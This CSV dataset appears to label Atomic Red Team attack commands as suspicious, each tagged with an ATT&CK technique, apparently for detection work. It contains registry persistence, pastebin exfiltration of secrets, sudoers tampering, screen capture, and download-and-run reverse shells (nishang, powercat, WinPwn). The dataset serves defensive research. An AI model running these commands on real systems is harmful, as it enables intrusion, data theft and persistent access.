e0cf4f7a6cc3f289f4c9af7f,"reg add ""hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"" /v ""Driver"" /d ""#{monitor_dll}"" /t REG_SZ /f","reg add ""hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"" /v ""Driver"" /d ""#{monitor_dll}"" /t REG_SZ /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.010/T1547.010.yaml,Add Port Monitor persistence in Registry,T1547.010,"[""T1547.010""]",windows,0.9,False,Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1a2a2229d8e8d3cee28e3a6,"reg delete ""hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"" /f >nul 2>&1","reg delete ""hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam"" /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.010/T1547.010.yaml,Add Port Monitor persistence in Registry,T1547.010,"[""T1547.010""]",windows,0.55,True,Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4603e6fd61c3baccd378c0dc,"#{msbuildpath}\#{msbuildname} ""#{filename}""","#{msbuildpath}\#{msbuildname} ""#{filename}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1127.001/T1127.001.yaml,MSBuild Bypass Using Inline Tasks (C#),T1127.001,"[""T1127.001""]",windows,0.9,False,"Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print ""Hello From a Code Fragment"" and ""Hello From a Class."" to the screen.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e29a23959e52b03b0973cdf5,"$apiKey = ""#{api_key}"" $content = ""secrets, api keys, passwords..."" $url = ""https://pastebin.com/api/api_post.php"" $postData = @{ api_dev_key = $apiKey api_option = ""paste"" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host ""Your paste URL: $response""","$apiKey = ""#{api_key}"" $content = ""secrets, api keys, passwords..."" $url = ""https://pastebin.com/api/api_post.php"" $postData = @{ api_dev_key = $apiKey api_option = ""paste"" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host ""Your paste URL: $response""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1567.003/T1567.003.yaml,Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows),T1567.003,"[""T1567.003""]",windows,0.9,False,"This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)                             
See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it                
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
34184d81bf216cc04667e827,screencapture #{output_file},screencapture #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Screencapture,T1113,"[""T1113""]",macos,0.9,False,"Use screencapture command to collect a full desktop screenshot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3d22493ebbbb434925a55da,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Screencapture,T1113,"[""T1113""]",macos,0.55,True,"Use screencapture command to collect a full desktop screenshot
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0542edcaab7a8d40c365872,screencapture -x #{output_file},screencapture -x #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Screencapture (silent),T1113,"[""T1113""]",macos,0.9,False,"Use screencapture command to collect a full desktop screenshot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e8b0c030a3102a4dd83f956c,xwd -root -out #{output_file} xwud -in #{output_file},xwd -root -out #{output_file} xwud -in #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,X Windows Capture,T1113,"[""T1113""]",linux,0.9,False,"Use xwd command to collect a full desktop screenshot and review file with xwud
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
736fef6b336b324524fbb93a,import -window root #{output_file},import -window root #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Capture Linux Desktop using Import Tool,T1113,"[""T1113""]",linux,0.9,False,"Use import command from ImageMagick to collect a full desktop screenshot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8bd3216a28ba116c6570b5e7,"cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12 Add-Type -MemberDefinition '[DllImport(""user32.dll"")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W; [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0); cmd /c ""timeout #{recording_time} > NULL && psr.exe /stop""","cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12 Add-Type -MemberDefinition '[DllImport(""user32.dll"")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W; [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0); cmd /c ""timeout #{recording_time} > NULL && psr.exe /stop""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Screencapture,T1113,"[""T1113""]",windows,0.9,False,"Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5bca9a7ce0d70c590ec0fcad,rm #{output_file} -ErrorAction Ignore,rm #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Screencapture,T1113,"[""T1113""]",windows,0.55,True,"Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c52ccb6bd710352d102cff93,"Add-Type -AssemblyName System.Windows.Forms $screen = [Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height $graphic = [Drawing.Graphics]::FromImage($bitmap) $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size) $bitmap.Save(""#{output_file}"")","Add-Type -AssemblyName System.Windows.Forms $screen = [Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height $graphic = [Drawing.Graphics]::FromImage($bitmap) $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size) $bitmap.Save(""#{output_file}"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Screen Capture (CopyFromScreen),T1113,"[""T1113""]",windows,0.9,False,"Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11b7e8451c0a5aede2c3c0c7,Remove-Item #{output_file} -ErrorAction Ignore,Remove-Item #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Screen Capture (CopyFromScreen),T1113,"[""T1113""]",windows,0.55,True,"Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
967b4ca64bd8d7ca646d73ba,"reg add ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f reg delete ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /f","reg add ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f reg delete ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted,T1113,"[""T1113""]",windows,0.9,False,"Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing ""DisableAIDataAnalysis"" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. 
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
537839b6546d2eb7857d2307,"reg add ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI"" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted,T1113,"[""T1113""]",windows,0.55,True,"Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing ""DisableAIDataAnalysis"" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. 
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
932095008476e5bf218f2cd5,"$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py' $toolsDir = ""$env:TEMP\bmc-tools.py"" # create output directory New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null # python script download & curl.exe -L $url --output $toolsDir # execution step if (Test-Path $toolsDir) { python $toolsDir -s ""#{cache_path}"" -d #{output_dir} -b }","$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py' $toolsDir = ""$env:TEMP\bmc-tools.py"" # create output directory New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null # python script download & curl.exe -L $url --output $toolsDir # execution step if (Test-Path $toolsDir) { python $toolsDir -s ""#{cache_path}"" -d #{output_dir} -b }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,RDP Bitmap Cache Extraction via bmc-tools,T1113,"[""T1113""]",windows,0.9,False,"Simulates an attacker extracting the RDP bitmap cache using the ANSSI ""bmc-tools.py"" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e21e0c1419e127df2d3a4a47,"Remove-Item ""$env:TEMP\bmc-tools.py"" -ErrorAction SilentlyContinue Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue","Remove-Item ""$env:TEMP\bmc-tools.py"" -ErrorAction SilentlyContinue Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1113/T1113.yaml,RDP Bitmap Cache Extraction via bmc-tools,T1113,"[""T1113""]",windows,0.55,True,"Simulates an attacker extracting the RDP bitmap cache using the ANSSI ""bmc-tools.py"" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f74933ebf2e80d4f76c1f0e1,sudo -l sudo cat /etc/sudoers sudo vim /etc/sudoers,sudo -l sudo cat /etc/sudoers sudo vim /etc/sudoers,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Sudo usage,T1548.003,"[""T1548.003""]","macos,linux",0.9,False,"Common Sudo enumeration methods.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e6b0f97fa320f05c3600937,sudo -l sudo cat /usr/local/etc/sudoers sudo ee /usr/local/etc/sudoers,sudo -l sudo cat /usr/local/etc/sudoers sudo ee /usr/local/etc/sudoers,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Sudo usage (freebsd),T1548.003,"[""T1548.003""]",linux,0.9,False,"Common Sudo enumeration methods.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e529d9b9aed3d42d4b999449,"sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers","sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Unlimited sudo cache timeout,T1548.003,"[""T1548.003""]","macos,linux",0.9,False,"Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
caa65662bdc49c1169f752bc,"sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers sudo visudo -c -f /usr/local/etc/sudoers","sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers sudo visudo -c -f /usr/local/etc/sudoers",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Unlimited sudo cache timeout (freebsd),T1548.003,"[""T1548.003""]",linux,0.9,False,"Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ce4c891efd116f6ebd2b0396,"sudo sh -c ""echo Defaults ""'!'""tty_tickets >> /etc/sudoers"" sudo visudo -c -f /etc/sudoers","sudo sh -c ""echo Defaults ""'!'""tty_tickets >> /etc/sudoers"" sudo visudo -c -f /etc/sudoers",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Disable tty_tickets for sudo caching,T1548.003,"[""T1548.003""]","macos,linux",0.9,False,"Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5c2bb68579a47f866ead8cef,"sudo sh -c ""echo Defaults ""'!'""tty_tickets >> /usr/local/etc/sudoers"" sudo visudo -c -f /usr/local/etc/sudoers","sudo sh -c ""echo Defaults ""'!'""tty_tickets >> /usr/local/etc/sudoers"" sudo visudo -c -f /usr/local/etc/sudoers",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.003/T1548.003.yaml,Disable tty_tickets for sudo caching (freebsd),T1548.003,"[""T1548.003""]",linux,0.9,False,"Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6fe5f0f03a9a74fe6577687,"Copy-Item ""#{dll_path}"" C:\Users\Public\AtomicTest.dll -Force reg add ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"" /v ""AtomicTest"" /t REG_EXPAND_SZ /d ""C:\Users\Public\AtomicTest.dll"" /f if(#{reboot}){Restart-Computer}","Copy-Item ""#{dll_path}"" C:\Users\Public\AtomicTest.dll -Force reg add ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"" /v ""AtomicTest"" /t REG_EXPAND_SZ /d ""C:\Users\Public\AtomicTest.dll"" /f if(#{reboot}){Restart-Computer}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.009/T1546.009.yaml,Create registry persistence via AppCert DLL,T1546.009,"[""T1546.009""]",windows,0.9,False,"Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09523f48ebc56fc4fd9f2b70,"reg delete ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"" /v ""AtomicTest"" /f Remove-Item C:\Users\Public\AtomicTest.dll -Force Remove-Item C:\Users\Public\AtomicTest.txt -Force","reg delete ""HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls"" /v ""AtomicTest"" /f Remove-Item C:\Users\Public\AtomicTest.dll -Force Remove-Item C:\Users\Public\AtomicTest.txt -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.009/T1546.009.yaml,Create registry persistence via AppCert DLL,T1546.009,"[""T1546.009""]",windows,0.55,True,"Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. 
Once the computer restarted, the DLL will be loaded in multiple processes and write an 
'AtomicTest.txt' file in C:\Users\Public\ to validate that the DLL executed succesfully.

Reference: https://skanthak.homepage.t-online.de/appcert.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddf447b6cfd25fc32552c5b4,cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin,cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.002/T1027.002.yaml,Binary simply packed by UPX (linux),T1027.002,"[""T1027.002""]",linux,0.9,False,"Copies and then runs a simple binary (just outputting ""the cake is a lie""), that was packed by UPX.
No other protection/compression were applied.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af6d21efe68c799f331301b6,rm /tmp/packed_bin,rm /tmp/packed_bin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.002/T1027.002.yaml,Binary simply packed by UPX (linux),T1027.002,"[""T1027.002""]",linux,0.55,True,"Copies and then runs a simple binary (just outputting ""the cake is a lie""), that was packed by UPX.
No other protection/compression were applied.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58029e13bf69d3963507a3e1,IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1') Invoke-PowerShellIcmp -IPAddress #{server_ip},IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1') Invoke-PowerShellIcmp -IPAddress #{server_ip},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1095/T1095.yaml,ICMP C2,T1095,"[""T1095""]",windows,0.9,False,"This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f58553b93e4c3c48d8423d43,"cmd /c ""#{ncat_exe}"" #{server_ip} #{server_port}","cmd /c ""#{ncat_exe}"" #{server_ip} #{server_port}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1095/T1095.yaml,Netcat C2,T1095,"[""T1095""]",windows,0.9,False,"Start C2 Session Using Ncat
To start the listener on a Linux device, type the following: 
nc -l -p <port>
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5c869f88cd04328560c84f27,IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1') powercat -c #{server_ip} -p #{server_port},IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1') powercat -c #{server_ip} -p #{server_port},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1095/T1095.yaml,Powercat C2,T1095,"[""T1095""]",windows,0.9,False,"Start C2 Session Using Powercat
To start the listener on a Linux device, type the following: 
nc -l -p <port>
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acad7b7556e4d4e7825fbb3f,systeminfo reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum,systeminfo reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,System Information Discovery,T1082,"[""T1082""]",windows,0.9,False,"Identify System Info. Upon execution, system info and time info will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b0c667e422990b9fde796ad,system_profiler ls -al /Applications,system_profiler ls -al /Applications,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,System Information Discovery,T1082,"[""T1082""]",macos,0.9,False,"Identify System Info
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6706ac82ea6febc606483826,uname -a >> #{output_file} if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi uptime >> #{output_file} cat #{output_file} 2>/dev/null,uname -a >> #{output_file} if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi uptime >> #{output_file} cat #{output_file} 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,List OS Information,T1082,"[""T1082""]","linux,macos",0.9,False,"Identify System Info
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43ecebb8c1bcae1f73b04927,rm #{output_file} 2>/dev/null,rm #{output_file} 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,List OS Information,T1082,"[""T1082""]","linux,macos",0.55,True,"Identify System Info
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8266f953692d5f4ca1a1058,"sudo lsmod | grep -i ""vboxsf\|vboxguest"" sudo lsmod | grep -i ""vmw_baloon\|vmxnet"" sudo lsmod | grep -i ""xen-vbd\|xen-vnif"" sudo lsmod | grep -i ""virtio_pci\|virtio_net"" sudo lsmod | grep -i ""hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc""","sudo lsmod | grep -i ""vboxsf\|vboxguest"" sudo lsmod | grep -i ""vmw_baloon\|vmxnet"" sudo lsmod | grep -i ""xen-vbd\|xen-vnif"" sudo lsmod | grep -i ""virtio_pci\|virtio_net"" sudo lsmod | grep -i ""hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Linux VM Check via Kernel Modules,T1082,"[""T1082""]",linux,0.9,False,"Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca923c06bd17698b51ab3537,"kldstat | grep -i ""vmm"" kldstat | grep -i ""vbox""","kldstat | grep -i ""vmm"" kldstat | grep -i ""vbox""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,FreeBSD VM Check via Kernel Modules,T1082,"[""T1082""]",linux,0.9,False,"Identify virtual machine host kernel modules.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb383730c7da3d35f6b07c7f,REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid,REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Windows MachineGUID Discovery,T1082,"[""T1082""]",windows,0.9,False,"Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f4d64525ad3ba4b851bdbf54,"cscript ""#{vbscript}""","cscript ""#{vbscript}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Griffon Recon,T1082,"[""T1082""]",windows,0.9,False,"This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre 
in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).  
For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](http",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d50ba7338f64434330239564,csrutil status,csrutil status,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Show System Integrity Protection status (MacOS),T1082,"[""T1082""]",macos,0.9,False,"Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c7ca3af2557d6f05f4b70396,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') winPEAS -noninteractive -consoleoutput,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') winPEAS -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - winPEAS,T1082,"[""T1082""]",windows,0.9,False,Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd9db4882da10e71d339e9d6,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') itm4nprivesc -noninteractive -consoleoutput,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') itm4nprivesc -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - itm4nprivesc,T1082,"[""T1082""]",windows,0.9,False,Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
